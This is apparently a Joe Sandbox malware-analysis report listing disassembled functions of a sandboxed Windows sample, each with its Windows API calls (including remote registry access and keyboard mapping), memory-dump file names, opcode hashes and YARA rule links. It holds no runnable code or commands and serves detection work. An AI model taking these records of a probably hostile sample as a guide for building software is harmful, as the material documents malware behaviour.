Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: $?#$>#
API String ID: 3277943733-3324046207
Opcode ID: c3e28b74bae600a4a79272d2b5dd30f021f9f27a0a7e7155e08d582951b20a01
Instruction ID: 2fb13f048ac8a07d0128943db96ccbb4e486a49eeab9f96b53671b9fc3d7cd75
Opcode Fuzzy Hash: c3e28b74bae600a4a79272d2b5dd30f021f9f27a0a7e7155e08d582951b20a01
Instruction Fuzzy Hash: ECF0E2F1A50301BFF700AB21BC0AF777AADEB09799F000020BA04D51A2D3B68F5086E4

Function 0018C697 Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0018C6C0
GetWindowRect.USER32(?,?), ref: 0018C701
ScreenToClient.USER32(?,000000FF), ref: 0018C729
GetClientRect.USER32(?,?), ref: 0018C856
GetWindowRect.USER32(?,?), ref: 0018C86F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: b989744f4609a5f19bc61394729aae968bde603672a5cd3d5e89b743e16a482d
Instruction ID: 6f278ea8363feec617b09a8d0d04887b95f842e251dd23492f319c7961b9ec6f
Opcode Fuzzy Hash: b989744f4609a5f19bc61394729aae968bde603672a5cd3d5e89b743e16a482d
Instruction Fuzzy Hash: B8B1477990064ADBDB14DFA9C4807EDB7B1FF08710F15912AEC59EB254EB30AA40CFA4

Function 001B9569 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001B96BC
_memmove.LIBCMT ref: 001B95F7

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

_memmove.LIBCMT ref: 001B966A
_memmove.LIBCMT ref: 001B9751
_memmove.LIBCMT ref: 001B976A
_memmove.LIBCMT ref: 001B9786

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction ID: 41bcc6e4d24b56022977596a0a6c3fcc07b3afe94db84fec746b4ce7dcc0fd28
Opcode Fuzzy Hash: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction Fuzzy Hash: 5F619E3050024AAFCF06EF60CC81EFE77B9AF58314F448459F95A6B292EB74E906CB51

Function 001D2EC7 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Part of subcall function 001D3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001D2AA6,?,?), ref: 001D3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001D2FA0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001D2FE0
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 001D3003
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 001D302C
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001D306F
RegCloseKey.ADVAPI32(00000000), ref: 001D307C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 04663a17b70e8618cc69c0ce6f70648db6c32ccb9e9ac043814dd956ac9f1c4b
Instruction ID: 3ada27b4de37cadd5e48f19aa38ee75caa0a0d549eecbb21bf911d7d52ad7631
Opcode Fuzzy Hash: 04663a17b70e8618cc69c0ce6f70648db6c32ccb9e9ac043814dd956ac9f1c4b
Instruction Fuzzy Hash: 1E513871108204AFC705EF64C885E6FBBF9BF98704F04891EF595872A1DB71EA45CB52

Function 0018DB8C Relevance: 9.2, APIs: 6, Instructions: 160COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0018DCC0
_wcscat.LIBCMT ref: 0018DCC7
_wcscpy.LIBCMT ref: 001E3CCB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction ID: a8a93ff33fe56543d74d7d984cd011d0a22262e935078478bb7310a6af2d5f70
Opcode Fuzzy Hash: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction Fuzzy Hash: 9C51F230900315AACF15BF99E4419BDB3B1EF15720F50804EF580AB2D2DBB49F82DB91

Function 001B2ADC Relevance: 9.2, APIs: 6, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001B2AF6
VariantClear.OLEAUT32(00000013), ref: 001B2B68
VariantClear.OLEAUT32(00000000), ref: 001B2BC3
_memmove.LIBCMT ref: 001B2BED
VariantClear.OLEAUT32(?), ref: 001B2C3A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 001B2C68

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: f7b36d07a50af5aa0b92283051c9a4c3f6bcf1f9be3a11420a9249787d58fb26
Instruction ID: 18ab13b5a41f088e4167ba8a90933ab14a96d609514749c0060049ee20583207
Opcode Fuzzy Hash: f7b36d07a50af5aa0b92283051c9a4c3f6bcf1f9be3a11420a9249787d58fb26
Instruction Fuzzy Hash: 055179B5A00209EFCB14CF58C880EAABBB9FF4C314B158559E959DB310E730EA51CFA0

Function 001D82DB Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 001D833D
GetMenuItemCount.USER32(00000000), ref: 001D8374
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 001D839C
GetMenuItemID.USER32(?,?), ref: 001D840B
GetSubMenu.USER32(?,?), ref: 001D8419
PostMessageW.USER32(?,00000111,?,00000000), ref: 001D846A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: be8d2df41d99747e162d95f96d2eaa92046356fce36ceff873d13b6287eb56d5
Instruction ID: ff687545e97ffddff0653fff91621578d9f00124eeec92b76e294605eb7c5463
Opcode Fuzzy Hash: be8d2df41d99747e162d95f96d2eaa92046356fce36ceff873d13b6287eb56d5
Instruction Fuzzy Hash: 72519A71A00215AFCF01EFA8C841AAEB7F5FF58710F11845AE915BB351DB34AE41CB90

Function 001B54E0 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001B552E
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001B5579
IsMenu.USER32(00000000), ref: 001B5599
CreatePopupMenu.USER32 ref: 001B55CD
GetMenuItemCount.USER32(000000FF), ref: 001B562B
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 001B565C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: ee21df454703c2d74d9e010ef101b079242e807b25241a6a880cc832f74b1f6f
Instruction ID: 27a428d63ae72f4ff284d7952009d96134a19ec4830249a481fb55f618e75819
Opcode Fuzzy Hash: ee21df454703c2d74d9e010ef101b079242e807b25241a6a880cc832f74b1f6f
Instruction Fuzzy Hash: 8B51D270A00B49EFDF25CF68D888BEDBBF7AF55318F544119E8159B290E3B09944CB51

Function 0018B18C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

BeginPaint.USER32(?,?,?,?,?,?), ref: 0018B1C1
GetWindowRect.USER32(?,?), ref: 0018B225
ScreenToClient.USER32(?,?), ref: 0018B242
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0018B253
EndPaint.USER32(?,?), ref: 0018B29D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 71c4a3729e3aeead430d435faf171f1d1b6f7d54ac09cd201d9df03d4eccf6f8
Instruction ID: 4a2954e3284480334df7703af64b1447af8d709d8c689f06ff409a2e74b9f309
Opcode Fuzzy Hash: 71c4a3729e3aeead430d435faf171f1d1b6f7d54ac09cd201d9df03d4eccf6f8
Instruction Fuzzy Hash: F141BD70108600AFD711EF25ECC8FBA7BE9EF59720F040669F9A5872A1C730AA45DB61

Function 001DE1A7 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00231810,00000000,?,?,00231810,00231810,?,001EE2D6), ref: 001DE21B
EnableWindow.USER32(?,00000000), ref: 001DE23F
ShowWindow.USER32(00231810,00000000,?,?,00231810,00231810,?,001EE2D6), ref: 001DE29F
ShowWindow.USER32(?,00000004,?,?,00231810,00231810,?,001EE2D6), ref: 001DE2B1
EnableWindow.USER32(?,00000001), ref: 001DE2D5
SendMessageW.USER32(?,0000130C,?,00000000), ref: 001DE2F8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 0e62584f3699470596b4ebc35d11e3ad30964c8cbc65fccef542d7913dfb7732
Instruction ID: 5a7a9090704a8e5788b4cf713e55788c41f23d98857726dda746a0d3ca41a945
Opcode Fuzzy Hash: 0e62584f3699470596b4ebc35d11e3ad30964c8cbc65fccef542d7913dfb7732
Instruction Fuzzy Hash: CB416234600141EFDB26DF18D899BA47BF5BF06315F1841BAEA598F7A2C732A841CB91

Function 001DE9C8 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 0018B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0018B5EB
Part of subcall function 0018B58B: SelectObject.GDI32(?,00000000), ref: 0018B5FA
Part of subcall function 0018B58B: BeginPath.GDI32(?), ref: 0018B611
Part of subcall function 0018B58B: SelectObject.GDI32(?,00000000), ref: 0018B63B

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 001DE9F2
LineTo.GDI32(00000000,00000003,?), ref: 001DEA06
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 001DEA14
LineTo.GDI32(00000000,00000000,?), ref: 001DEA24
EndPath.GDI32(00000000), ref: 001DEA34
StrokePath.GDI32(00000000), ref: 001DEA44

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 3ceeaf6b586ec616a3fdea46309e7d9abef3920904fd0a92d5d1c8960fb06c9e
Instruction ID: 7d51259597cd5d342085515c797ea6a3f926d37d401a1571d5c1f719d46d906a
Opcode Fuzzy Hash: 3ceeaf6b586ec616a3fdea46309e7d9abef3920904fd0a92d5d1c8960fb06c9e
Instruction Fuzzy Hash: 1711DB7600014DBFEF129F90EC88EAA7FADEB08355F048052FE195A160D7719D96DBA0

Function 001AEF91 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 001AEFB6
GetDeviceCaps.GDI32(00000000,00000058), ref: 001AEFC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001AEFCE
ReleaseDC.USER32(00000000,00000000), ref: 001AEFD6
MulDiv.KERNEL32(000009EC,?,00000000), ref: 001AEFED
MulDiv.KERNEL32(000009EC,?,?), ref: 001AEFFF

Part of subcall function 001AA83B: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,001AA79D,00000000,00000000,?,001AAB73), ref: 001AB2CA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: 73eba63f21d5af82a0fed8294f163816faa6f5f4923ee578f61aadbaeeb37d14
Instruction ID: d175566613535e80163f320e360d341b19afb2bb888cc352903755411095251e
Opcode Fuzzy Hash: 73eba63f21d5af82a0fed8294f163816faa6f5f4923ee578f61aadbaeeb37d14
Instruction Fuzzy Hash: 82014475A00215BFEB109BA59C49B6EBFB9EF49751F004066FE08EB290D6709D01CB61

Function 001987D7 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 001987D7

Part of subcall function 00191E5A: __initp_misc_winsig.LIBCMT ref: 00191E7E
Part of subcall function 00191E5A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00198BE1
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00198BF5
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00198C08
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00198C1B
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00198C2E
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00198C41
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00198C54
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00198C67
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00198C7A
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00198C8D
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00198CA0
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00198CB3
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00198CC6
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00198CD9
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00198CEC
Part of subcall function 00191E5A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00198CFF

__mtinitlocks.LIBCMT ref: 001987DC

Part of subcall function 00198AB3: InitializeCriticalSectionAndSpinCount.KERNEL32(0022AC68,00000FA0,?,?,001987E1,00196AFA,002267D8,00000014), ref: 00198AD1

__mtterm.LIBCMT ref: 001987E5

Part of subcall function 0019884D: RtlDeleteCriticalSection.NTDLL(00000000), ref: 001989CF
Part of subcall function 0019884D: _free.LIBCMT ref: 001989D6
Part of subcall function 0019884D: RtlDeleteCriticalSection.NTDLL(0022AC68), ref: 001989F8

__calloc_crt.LIBCMT ref: 0019880A
GetCurrentThreadId.KERNEL32 ref: 00198833

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: d702b5e1fe53d9e2ab7382b3998160e82a0f7ede598fa1f4876a674649865cde
Instruction ID: 7a56c567857c5525ea3e95dbce86e30ca8bf895b45e6793fd5b9cc7185e86961
Opcode Fuzzy Hash: d702b5e1fe53d9e2ab7382b3998160e82a0f7ede598fa1f4876a674649865cde
Instruction Fuzzy Hash: 50F089331197516AFE787BBCBC0765A3AD49F23B70B650A2EF464D60E2FF1098414175

Function 001BA3D2 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: 6dd520a9d9d124147733cd7f1a142731039da469bfdc0f7c40433259100aeba1
Instruction ID: 184422e8e375276b90a3ec12f5c126d7a2e550545dbb474c4dd2257f53cf9893
Opcode Fuzzy Hash: 6dd520a9d9d124147733cd7f1a142731039da469bfdc0f7c40433259100aeba1
Instruction Fuzzy Hash: 4B01A432101211ABD7152B58FD48EFF7BBAFF89702B800529F603929B1CB74A841CBA1

Function 00171867 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00171898
MapVirtualKeyW.USER32(00000010,00000000), ref: 001718A0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 001718AB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 001718B6
MapVirtualKeyW.USER32(00000011,00000000), ref: 001718BE
MapVirtualKeyW.USER32(00000012,00000000), ref: 001718C6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
